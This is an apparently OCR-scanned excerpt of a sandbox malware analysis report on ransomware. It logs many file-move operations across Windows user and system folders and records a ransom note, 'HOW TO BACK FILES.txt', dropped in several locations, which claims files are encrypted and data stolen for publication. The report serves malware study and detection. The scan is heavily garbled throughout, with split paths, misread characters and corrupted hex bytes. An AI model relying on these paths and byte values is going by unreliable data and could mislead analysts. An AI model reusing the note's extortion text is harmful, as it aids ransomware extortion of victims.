h_cwbn1h2txyewy\LocalState\Con

straintindex\Input_{4e763a36-90d3-

4d6c-9949-dd01f7e5d23f}\se

ttingsglobals.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Con

straintindex\Input_{4e763a36-90d3-

4d6c¢-9949-dd01f7e5d23f)\ap

psglobals.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Input_{4e763a36-90d3-

4d6c-9949-dd01f7e5d23f}\se

ttingssynonyms.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Con

straintindex\Apps_{21e1abca-d304-

4fe9-9f11-f59b69b7551a}\Apps.index

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{30790aa3-b4ab-

4006-b412-570675b6dd22}\Apps.index

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{ea91a05a-d98f-

4429-81a9-272df0335447}\Apps.index

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Apps_{ec7f021a-9e82-

49b5-b625-b8faa00e1d97}\Apps.index

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Input_{4e763a36-90d3-

4d6c-9949-dd01f7e5d23f)\ap

psconversions.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

00886124092.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

03495205506.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Input_{4e763a36-90d3-

4d6c-9949-dd01f7e5d23f}\se

ttingsconversions.ixt
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\Con

straintindex\Settings_{2737c7bb-35fb-

4b44-baf9-033ca587595d}

\0.0 filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Settings_{2737c7bb-35fb-

4b44-baf9-033ca587595d}\Settings.ft

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Con

straintindex\Settings_{99fff775-938d-

4e2c¢-9c06-5d56107a5383}

\0.0 filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

03693874026.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Settings_{99fff775-938d-

4e2c¢-9c06-5d56107a5383}\Settings.ft

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

04157646270.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

04610890001 .txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

04786866416.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

05089393222.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

05389384955.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

05953011714.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

06148184320.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Con

straintindex\Settings_{2737c7bb-35fb-

4b44-baf9-033ca587595d}

\Settings.index

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

06446553451 .txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Con

straintindex\Settings_{99fff775-938d-

4e2c-9c06-5d56107a5383}

\Settings.index
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

09155626780.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache1334090

10467962588.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

21046094069.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

22763610746.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

21833987004 txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

23789902202.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\TempState\Cort

anaUnifiedTileModelCache.dat

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

24089824579.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

24501033688.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Start

MenuExperienceHost_cw5n1h2txye

wy\TempState\StartUnifiedTileM

odelCache.dat

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\microsoft.windowscommun

icationsapps_8wekyb3d8bbwe\Loc

alState\HxCommAlwaysOnLog.etl

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\microsoft.windowscommun

icationsapps_8wekyb3d8bbwe\Loc

alState\HxCommAlwaysOnLog_Old.etl

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334090

26216700984.ixt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwb5n1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334376

98804984025.txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\microsoft.windowscommun

icationsapps_8wekyb3d8bbwe\Set

tings\settings.dat

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\microsoft.windowscommun

icationsapps_8wekyb3d8bbwe\Set

tings\settings.dat.LOG1

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334376

99105053017.txt
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cw5n1h2txyewy\LocalState\Dev

iceSearchCache\AppCache 1334376

99405091172.txt

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\18e190413af045db88dfbd29609
eb877.db

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\18e190413af045db88dfbd29609
eb877.db.session64

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\acrobat_sbx\acroNGLLog.txt

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\acrobat_sbx\NGL\NGLClient_A

crobatReader123.6.20320.6 2023-10-04

16-15-42-624.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\acrobat_sbx\NGL\NGLClient_A

crobatReader123.6.20320.6 2023-10-04

16-15-55-956.1og

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\acrobat_sbx\NGL\NGLClient_A
crobatReader123.6.20320.6.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\user-PC-20231004-1445.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\user-PC-20231004-1547.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\Diagnostics\EXCEL\App169642

8505298658900_7B05BF2A-C74F-44

F8-B674-AA3F9719008B.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\user-PC-20231004-1445a.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\Diagnostics\EXCEL\App169642

8527628431800_6CD9E3BB-4D03-46

BD-8615-75A902267162.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_1234978473\1

187695d-8276-4e31-8de1-9e57768

989bd

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\Diagnostics\EXCEL\App169642

8537364279100_A2018481-B961-46

B4-9328-34939DEAF293.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_1289371347\7

8549187-a875-4f1e-8dfa-9938ebc

29c81

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_1318414972\8

73489b1-33b2-480a-baa2-641b9e0

9edcd

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\user-PC-20231004-1546.log

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\microsoft.windowscommun

icationsapps_8wekyb3d8bbwe\Loc

alState\HxStore.hxd

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_1959985254\8
4fb0759-262-4b78-b3f8-d06ffbe5ed 10

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_1191663050\9

€51170b-7adf-40ab-83b6-5f97b13

bedcb

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\LocalState\Dev

iceSearchCache\SettingsCache.txt

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\user-PC-20231004-1550.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_778675694\12
ed7c6f-b741-47d7-afa5-30f752dc978b
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C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\msedge_installer.log

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\msedge_url_fetcher_2640_817

343797\78549187-a875-4f1e-8dfa-

9938ebc29c81

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\user.omp

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\msedge_url_fetcher_5172_761
252224\95653570-4296-4019-96b6-

27b027f2cb91

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\offline

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW

mp\edge_BITS_6440_1421574262\c
50698d5-282¢-4¢8d-9fa6-c155f2d8d379

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\offline.session64

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_1807723660\0

1d00eb7-ae22-4601-b5b4-6bd7649

4c105

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_27162369\251
4c7d0-b437-44ad-8cd5-a3771bdfdafe

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\prep_privacy-sdx_win32_bund
le_js_V8_perf.cache

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\prep_ui_win32_bundle_V8 per

f.cache

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW

mp\jones.bmp

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\msedge_url_fetcher_5172_179

1500899\e8d11bd0-b939-446e-b741-

2c68ed471a53

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_339006160\c7
8f9967-7a8c-44b0-ad94-732b63c89638

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\edge_BITS_6440_1485273224\2
132f61f-f790-4ae6-a355-8cf9a1533800

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\tmpD1BD.tmp
C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW

mp\prep_foundation_win32_bundl
e_V8_perf.cache

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\Symbols\ntkrnlmp.pdb\68A17F

AF3012B7846079AEECDBE0A5831\do

wnload.error

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\wct1834.tmp

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\wct4B1.tmp

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\wct42C5.tmp

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Windows\INetCache\IE\S
3IVYM2Y\PreSigninSettingsConfi
g[1].json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Windows\INetCache\IE\P

MW3UBMX\ConvergedLoginPaginate

dStrings.en-gb_RP-iR89BipE4i7Z

OdqigEgQ2[1].js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Windows\INetCache\lIE\S

3IVYM2Y\Converged v22057_4HqSC

TI5FFStBMz0_elgyA2[1].css

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Windows\INetCache\IE\9

C680Q69\oneDs_f2e0f4a029670f10

d892[1].js
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C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\Symbols\ntkrnimp.pdb\68A17F

AF3012B7846079AEECDBEOA5831\nt

krnlmp.pdb

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\Symbols\winload_prod.pdb\01

AB9056EA9380F71644C4339E3FA1AC

2\download.error

C:\ProgramData\Microsoft\Click success or wait 1 E54940 MoveFileW
ToRun\ProductReleases\BBF7ACCO-

31FF-4C15-B05C-7341014DF78A\en-

us.16\MasterDescriptor.en-us.xml

C:\ProgramData\Microsoft\Click success or wait 1 E54940 MoveFileW
ToRun\ProductReleases\BBF7ACCO-

31FF-4C15-B05C-7341014DF78A\en-

us.16\stream.x86.en-us.dat.cat

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\Symbols\winload_prod.pdb\01

AB9056EA9380F71644C4339E3FA1AC

2\winload_prod.pdb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Windows\INetCache\IE\T

9RRWRNL\ConvergedLogin_PCore_t

Sc0Su-bb7Jt0QVuUF6vICg2[1].js

C:\ProgramData\Microsoft\Click success or wait 1 E54940 MoveFileW
ToRun\ProductReleases\BBF7ACCO-
31FF-4C15-B05C-7341014DF78A\x-
none.16\MasterDescriptor.x-none.xml

C:\ProgramData\Microsoft\Click success or wait 1 E54940 MoveFileW
ToRun\MachineData\Catalog\Packages\

{9AC08E99-230B-47E8-9721-

4577B7F124EA}\{1A8308C7-90D1-4

200-B16E-646F163A08E8}\UserMan

ifest.xml

C:\ProgramData\Microsoft\Click success or wait 1 E54940 MoveFileW
ToRun\MachineData\Catalog\Packages\

{9AC08E99-230B-47E8-9721-

4577B7F124EA}\{1A8308C7-90D1-4

200-B16E-646F163A08E8}\Manifes

t.xml

C:\ProgramData\Microsoft\Click success or wait 1 E54940 MoveFileW
ToRun\ProductReleases\BBF7ACCO-

31FF-4C15-B05C-7341014DF78A\en-

us.16\stream.x86.en-us.db

C:\Users\user\AppData\Local\Te success or wait 1 E54940 MoveFileW
mp\wctFE34.tmp
C:\ProgramData\Microsoft\ClickToRun\ success or wait 1 E54940 MoveFileW

{9AC08E99-230B-47e8-9721-
4577B7F124EA}\C2RManifest.Acc
ess.Access.x-none.msi.16.x-none.xml

C:\ProgramData\Microsoft\Click success or wait 1 E54940 MoveFileW
ToRun\ProductReleases\BBF7ACCO-

31FF-4C15-B05C-7341014DF78A\0

perations.db

C:\ProgramData\Microsoft\Click ToRun\ success or wait 1 E54940 MoveFileW
{9AC08E99-230B-47¢8-9721-

4577B7F124EA}\C2RManifest.acc

essmui.msi.16.en-us.xml

C:\ProgramData\Microsoft\Click ToRun\ success or wait 1 E54940 MoveFileW
{9AC08E99-230B-47e8-9721-

4577B7F124EA}\C2RManifest.DCF

.DCF.x-none.msi.16.x-none.xml

C:\ProgramData\Microsoft\Click ToRun\ success or wait 1 E54940 MoveFileW
{9AC08E99-230B-47¢8-9721-

4577B7F124EA}\C2RManifest.exc

elmui.msi.16.en-us.xml

C:\ProgramData\Microsoft\Click ToRun\ success or wait 1 E54940 MoveFileW
{9AC08E99-230B-47¢8-9721-

4577B7F124EA}\C2RManifest.Lyn

c.Lync.x-none.msi.16.x-none.xml

C:\ProgramData\Microsoft\Click success or wait 1 E54940 MoveFileW
ToRun\ProductReleases\BBF7ACCO-

31FF-4C15-B05C-7341014DF78A\V

irtualRegistry.dat
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File Path

C:\HOW TO BACK FILES.txt

C:\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a

Ascii Completion Count Source Address
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File Path Offset

C:\HOW TO BACK FILES.txt 0

C:\Recovery\WindowsRE\HOW TOB 0
ACK FILES.txt

Copyright Joe Security LLC 2023

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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encrypted and can not be
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HelloYour files are success or wait 2 E54B94
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File Path

C:\Recovery\HOW TO BACK FILES.
txt

C:\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a

Ascii Completion Count Source Address

HelloYour files are success or wait 2 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work
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your data

HelloYour files are success or wait 2 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work
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File Path

C:\$Recycle.Bin\S-1-5-21-22461
22658-3693405117-2476756634-10
00\HOW TO BACK FILES.txt

C:\EFI\Microsoft\Recovery\HOW TO
BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
